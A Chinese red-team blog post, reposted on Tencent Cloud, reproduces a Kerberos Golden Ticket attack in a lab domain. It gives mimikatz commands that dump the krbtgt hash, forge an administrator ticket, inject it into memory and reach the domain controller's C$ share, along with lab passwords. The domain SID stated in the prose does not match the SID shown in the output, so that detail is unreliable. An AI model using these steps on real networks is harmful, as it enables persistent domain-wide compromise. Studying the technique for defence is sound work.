前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >黄金票据(Golden Ticket)攻击

黄金票据(Golden Ticket)攻击

作者头像
渗透攻击红队
发布2020-12-14 11:39:10
3.4K0
发布2020-12-14 11:39:10
举报
文章被收录于专栏:漏洞知识库漏洞知识库

大家好,这里是 渗透攻击红队 的第 37 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更

黄金票据

在渗透测试过程中,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将 krbtgt 账号重置,攻击者就能快速重新拿到域控制器的权限。

假设域内存在一个 SID 为 502 的域账号 krbtgt 。krbtgt 是 KDC 服务使用的账号,属于 Domain Admins 组,在域环境中,每个用户账号票据都是由 krbtgt 生成的,如果攻击者拿到了 krbtgt 的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

在使用黄金票据(Golden Ticket)攻击时,需要以下信息:

  • 需要伪造的域管理员用户名(一般是域管账户)
  • 完整的域名
  • 域krbtgt SID(就是域成员krbtgt SID去掉最后的)
  • krbtgt 的 NTLM Hash 或 AES-256 值

Golden Ticket

实验环境

域控制器:

  • IP:192.168.3.21
  • 域名:god.org
  • 用户名:administrator
  • 密码:Admin12345

域成员服务器:

  • IP:192.168.3.25
  • 域名:god.org
  • 用户名:mary
  • 密码:admin!@#45

黄金票据(Golden Ticket)攻击实践

1、导出 krbtgt 的 NTLM Hash

使用 mimikatz 导出 krbtgt 的 NTLM Hash:(使用域管权限)

得到的:

代码语言:javascript
复制
Hash NTLM: b097d7ed97495408e1537f706c357fc5
aes256_hmac (4096) : 5a75bb9a4fc4453c66621a54af111884f45bbca6365bf4d81bc059f31e708827
Object Security ID   : S-1-5-21-1218902331-2157346161-1782232778

该方法使用 mimikatz 工具的 dcsync 功能远程转储活动目录AD中的 ntds.dit。指定 /user 参数,可以只导出 krbtgt 账号信息。

2、获取基本信息

1、获取域 SID:

代码语言:javascript
复制
wmic useraccount get name,sid

得到的:

代码语言:javascript
复制
Name                  SID
Administrator         S-1-5-21-1097424059-774219462-107513682-500
Guest                 S-1-5-21-1097424059-774219462-107513682-501
mary                  S-1-5-21-1097424059-774219462-107513682-1000
Administrator         S-1-5-21-1218902331-2157346161-1782232778-500
Guest                 S-1-5-21-1218902331-2157346161-1782232778-501
krbtgt                S-1-5-21-1218902331-2157346161-1782232778-502
SM_6ef9b5ce414946ae9  S-1-5-21-1218902331-2157346161-1782232778-1119
SM_d80bb46e75164f258  S-1-5-21-1218902331-2157346161-1782232778-1120
SM_d3853544b62a421fb  S-1-5-21-1218902331-2157346161-1782232778-1121
SM_c330a5709f6a478b8  S-1-5-21-1218902331-2157346161-1782232778-1122
mary                  S-1-5-21-1218902331-2157346161-1782232778-1124
jenkins               S-1-5-21-1218902331-2157346161-1782232778-1126
mack                  S-1-5-21-1218902331-2157346161-1782232778-1127
hr                    S-1-5-21-1218902331-2157346161-1782232778-1128
boss                  S-1-5-21-1218902331-2157346161-1782232778-1129
dbadmin               S-1-5-21-1218902331-2157346161-1782232778-1130
vpnadm                S-1-5-21-1218902331-2157346161-1782232778-1131
webadmin              S-1-5-21-1218902331-2157346161-1782232778-1132
fileadmin             S-1-5-21-1218902331-2157346161-1782232778-1135
fedora                S-1-5-21-1218902331-2157346161-1782232778-1139
kali                  S-1-5-21-1218902331-2157346161-1782232778-1140
debian                S-1-5-21-1218902331-2157346161-1782232778-1141
itadmin               S-1-5-21-1218902331-2157346161-1782232778-1142
devadmain             S-1-5-21-1218902331-2157346161-1782232778-1143
logers                S-1-5-21-1218902331-2157346161-1782232778-1144
logtest               S-1-5-21-1218902331-2157346161-1782232778-1145
klion                 S-1-5-21-1218902331-2157346161-1782232778-1146
klionsec              S-1-5-21-1218902331-2157346161-1782232778-1147

采用这种方法,可以以普通域用户权限获取域内大部分用户的 SID,可以看到域 god.org 的域 SID 为:S-1-5-21-95064677-3481858386-3840636109。

2、获取当前用户的 SID:

代码语言:javascript
复制
whoami /user

得到的:

代码语言:javascript
复制
USER INFORMATION
----------------

User Name SID
========= ==============================================
god\mary  S-1-5-21-1218902331-2157346161-1782232778-1124

3、查询域管理员账号:

代码语言:javascript
复制
net group "domain admins" /domain

得到的域管用户名是:Administrator。

4、查询域名:

代码语言:javascript
复制
ipconfig /all

得到的域名为:god.org。

3、实验操作

首先我们是无法查看到域控的共享信息的:

代码语言:javascript
复制
dir \\OWA2010CN-God\c$

1、清空内存

使用 mimikatz 清空当前主机会话中的票据:

代码语言:javascript
复制
kerberos::purge

2、生成票据

使用 mimikatz 生成包含 krbtgt 身份的票据:(在域管下执行)

代码语言:javascript
复制
kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:Administrator.kiribi

这个时候会在当前目录下生成一个名为:Administrator.kiribi 的文件!

3、传递票据并注入内存

将 Administrator.kiribi 票据放到域成员 mary 机器上然后注入内存:(使用 mary 运行)

代码语言:javascript
复制
kerberos::ptt Administrator.kiribi

4、检索当前会话中的票据

查看注入的票据:

代码语言:javascript
复制
kerberos::tgt

可以看到当前的票据已经在内存会话中了。

4、验证权限

我们已经把票据注入到内存了,这个时候我们就可以看看是否获取到了域控的权限:

代码语言:javascript
复制
dir \\OWA2010CN-God\c$

如果想要清除内存中的票据可以使用:

代码语言:javascript
复制
kerberos::purge

结尾

使用黄金票据伪造的用户可以是任意用户(即使这个用户不存在),因为 TGT 的加密是由 krbtgt 完成的,所以只要 TGT 被 krbtgt 账户和密码正确的加密,那么任意 KDC 使用 krbtgt 将 TGT 解密后,TGT 中的所有信息都是可信的。


参考文章:

https://www.jianshu.com/p/4936da524040

https://blog.csdn.net/shuteer_xu/article/details/107031951

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、导出 krbtgt 的 NTLM Hash
  • 2、获取基本信息
  • 3、实验操作
  • 4、验证权限
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档